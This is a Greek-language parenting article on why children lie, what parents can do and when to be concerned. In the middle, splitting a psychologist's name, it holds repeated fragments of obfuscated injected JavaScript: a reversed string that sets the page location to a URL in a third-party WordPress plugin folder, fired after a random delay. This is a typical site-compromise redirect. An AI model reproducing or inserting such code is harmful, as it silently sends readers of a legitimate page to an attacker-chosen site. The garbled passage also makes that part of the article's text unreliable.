Τα περισσότερα παιδιά λένε ψέματα. Αυτό βέβαια δε σημαίνει ότι διαπράττουν έγκλημα. Τα παιδιά όταν μαθαίνουν τι είναι αποδεκτό και τι όχι και ποια είναι τα όρια, καμιά φορά πρέπει να βιώσουν από προσωπική εμπειρία το λάθος, για να κάνουν έπειτα το σωστό. Το λάθος, είναι βασικό κομμάτι της μαθησιακής διαδικασίας το οποίο με τη σωστή καθοδήγηση των γονιών, μετατρέπεται σε σωστό.
Σύμφωνα με έρευνες, ένα παιδί ξεκινάει να λέει πράγματα που δεν είναι αλήθεια, πριν καν συνειδητοποιήσει ότι αυτό που κάνει είναι κακό. Για παράδειγμα, ένα παιδί δύο χρόνων μπορεί να κουνήσει αρνητικά το κεφάλι του αν το ρωτήσεις αν έφαγε σοκολάτα, ακόμα και αν έχει φάει. Όταν τα παιδιά καταλαβαίνουν ότι διαστρεβλώνουν την αλήθεια (περίπου 3-4 ετών), τότε έχουν κατακτήσει ένα κομμάτι της γνωστικής τους ανάπτυξης.
Και αυτό γιατί, για να πουν ένα σκόπιμο ψέμα διαστρεβλώνοντας την αλήθεια, θα πρέπει πρώτα να έχουν αντίληψη της πραγματικότητας και της αλήθειας. Στην συνέχεια, μέσα από το ψέμα θα πρέπει να δημιουργήσουν μια εναλλακτική πραγματικότητα, που αν θέλουν να πείσουν ότι αυτή είναι η αλήθεια, θα πρέπει να χρησιμοποιήσουν όλο το πνευματικό δυναμικό τους.
Η καθηγήτρια αναπτυξιακής ψυχολογίας Victoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toria Talwar είπε, όταν τα παιδιά προσχολικής ηλικίας λένε ψέματα, ουσιαστικά δοκιμάζουν μια νέα ικανότητα που έχουν αποκτήσει. Αντιλαμβάνονται ότι μπορούν να έχουν σκέψεις, γνώσεις και πιστεύω, καθαρά δικά τους. Σε μια έρευνα, παρατηρούσαν παιδιά ηλικίας 4 ετών και βρέθηκε ότι λένε ένα ψέμα ανά μία ώρα, και τα παιδιά ηλικίας 6 ετών ανά 90 λεπτά. Καθώς τα παιδιά μεγαλώνουν (μετά τα 10 συνήθως), και συνειδητοποιούν τις επιπτώσεις του ψέματος και ότι μπορεί να τα “πιάσουν”, μειώνουν και τα ψέματα που λένε.
Τι μπορούν να κάνουν οι γονείς;
Για άλλη μια φορά, αυτό που έχουν να κάνουν οι γονείς είναι να λειτουργήσουν ως το καλό παράδειγμα. Σε μια έρευνα που έγινε στο πανεπιστήμιο της Μασαχουσέτης, το 60% των ενηλίκων συμμετεχόντων, παραδέχτηκε ότι είπε ανακρίβειες ή ψέματα μέσα σε ένα 10λεπτο συνομιλίας.
Τα παιδιά παρατηρούν και απορροφούν όλες τις συμπεριφορές των γονιών τους, ακόμα και αυτές που περιλαμβάνουν το ψέμα που μπορεί να πει η μαμά στη γειτόνισσα για το ωραίο γλυκό που έφτιαξε, το οποίο βέβαια κατέληξε στα σκουπίδια. Όπως είπε και η Talwar, το ψέμα καμιά φορά είναι κομμάτι του πολιτισμένου κόσμου. Πόσοι από μας για παράδειγμα, έχουμε πάρει ένα δώρο από κάποιον συγγενή ή φίλο και έχουμε πει “είναι τέλειο, σε ευχαριστώ”, και στη συνέχεια με την κάρτα αλλαγής το επιστρέψαμε; Επομένως, το παιδί παρατηρώντας του γονείς του, συχνά και το ίδιο κάνει συμβιβασμούς ως προς την αλήθεια.
Οι έρευνες έχουν δείξει ότι ακόμα και τα παιδιά προσχολικής ηλικίας μπορούν να αντιληφθούν και να εκτιμήσουν το ψέμα που λέγεται από ευγένεια. Σε μια έρευνα με παιδιά ηλικίας 3-11, τους έκαναν δώρο ένα απλό σαπούνι και στη συνέχεια τα ρώτησαν αν τους άρεσε. Το 75% των παιδιών ηλικίας 3-5 ετών είπαν “ναι”, αν και στη συνέχεια ομολόγησαν ότι δεν ήταν τόσο ειλικρινή. Τα μεγαλύτερα παιδιά, σε ποσοστό 84% είπαν ψέματα ότι τους άρεσε το δώρο.
Όταν οι γονείς πρέπει να πουν ένα ψέμα από ευγένεια ή για λόγους κοινωνικούς και είναι μπροστά το παιδί, καλό είναι αργότερα να του εξηγήσουν το λόγο για τον οποίο το έκαναν. Εξηγήστε του για παράδειγμα, ότι ήσασταν ανειλικρινής για να αποφύγετε να πληγώσετε κάποιον. Τα παιδιά μπορούν εύκολα να καταλάβουν γιατί κάποιος δε θέλει να πληγώσει το αισθήματα κάποιου άλλου.
Εξίσου σημαντικό είναι οι γονείς να συζητήσουν με τα παιδιά τους για ποιο λόγο πρέπει να λένε την αλήθεια. Αν για παράδειγμα το παιδί πει ψέματα για μια ζημιά που έκανε και προσπαθεί να φορτώσει σε κάποιον άλλον το φταίξιμο, αντί να το τιμωρήσουν οι γονείς, μπορούν να το διδάξουν τις συνέπειες της πράξης του και με ποιο τρόπο καλλιεργείται η εμπιστοσύνη ανάμεσα στους ανθρώπους. Μπορούν να βοηθήσουν το παιδί να μπει στη θέση του άλλου, για να δει πώς θα ήταν αν εξαπατούσαν το ίδιο. Για παράδειγμα η μαμά μπορεί να πει, “Πώς θα σου φαινόταν αν σου έλεγα ότι αν ντυθείς θα πάμε στο πάρκο, και αντί για αυτό σε πήγαινα στο σούπερ μάρκετ;”
Σε περίπτωση που οι γονείς θέλουν το ψέμα του παιδιού να συνδεθεί με μια αρνητική συνέπεια, θα πρέπει να θυμούνται ότι είναι σημαντικό η συνέπεια της πράξης να συνδέεται με την αρνητική συμπεριφορά. Αν για παράδειγμα, ένα παιδί πει ψέματα ότι διάβασε αλλά στην πραγματικότητα έβλεπε τηλεόραση, στερείστε του για ένα απόγευμα την τηλεόραση, μην το κλειδώνεται στο δωμάτιό του.
Πάνω από όλα όμως οι γονείς πρέπει να επιβραβεύουν την ειλικρίνεια.
Πότε οι γονείς πρέπει να ανησυχήσουν;
Εδώ η απάντηση δύσκολα μπορεί να είναι ξεκάθαρη. Εξαρτάται από τη συχνότητα της συμπεριφοράς και τη σοβαρότητα του ψέματος. Σύμφωνα με ειδικούς, οι γονείς θα πρέπει να προσέξουν τα εξής:
Συχνότητα. Αν το παιδί λέει συνεχώς ψέματα και σε πολλές καταστάσεις, αυτό ίσως είναι ανησυχητικό. Επίσης, προσέξτε αν το ψέμα συνοδεύεται από συναισθηματικές εκρήξεις ή άλλα προβλήματα συμπεριφοράς όπως έντονα ξεσπάσματα και άσχημες λεκτικές εκφράσεις. Σε αυτή την περίπτωση ίσως θα πρέπει να αναζητήσετε τα βαθύτερα αίτια που οδηγούν το παιδί στο να ψεύδεται.
Η αντίδραση του παιδιού. Παρατηρήστε πώς αντιδράει το παιδί όταν το τσακώσατε να λέει ψέματα και του εξηγείτε το λάθος του. Ντρέπεται ή αντιδρά με απάθεια; Συνεχίζει να παραβιάζει τους κανόνες ακόμα και αν έχετε συζητήσει τρόπους εναλλακτικούς για να λύσει το πρόβλημα; Αν η στάση του παιδιού σας ανησυχεί υπερβολικά, ίσως θα ήταν καλό να ζητήσετε τη γνώμη ειδικού.
Άγχος. Το ψέμα ή άλλα προβλήματα συμπεριφοράς μπορούν να προκύψουν σε στιγμές έντασης και άγχους όπως για παράδειγμα κατά τη διάρκεια ενός διαζυγίου.
Συναισθηματική ανασφάλεια. Συχνά τα παιδιά λένε ψέματα επειδή αισθάνονται ανασφαλή και επειδή δεν έχουν εμπιστοσύνη στον εαυτό τους. Με το ψέμα, προσπαθούν να τραβήξουν την προσοχή πάνω τους καλύπτοντας αδυναμίες που νιώθουν.
Σε κάθε περίπτωση, δε χρειάζεται να θυμώσετε, να φωνάξετε ή να τιμωρήσετε το παιδί.
Αρχικά δώστε του την ευκαιρία μέσα από τη συζήτηση να αποκαλύψει το ψέμα του και να αναγνωρίσει το λάθος του.
Δείξτε του ότι το ψέμα απαγορεύεται αλλά βοηθήστε το ταυτόχρονα να διατηρήσει την αξιοπρέπειά του.
Μην ξεχνάτε ότι το ψέμα και η διαστρέβλωση της αλήθειας είναι αναγκαίο στάδιο της γνωστικής ανάπτυξης των παιδιών.
Δείξτε του ότι θέλετε να συνεχίσετε να του έχετε εμπιστοσύνη, και πως για να το βοηθήσετε να μεγαλώσει, πρέπει να το εμπιστεύεστε όπως πρέπει να σας εμπιστεύεται και το ίδιο το παιδί.
Ελένη Σίγκου για
Parentshelp.gr
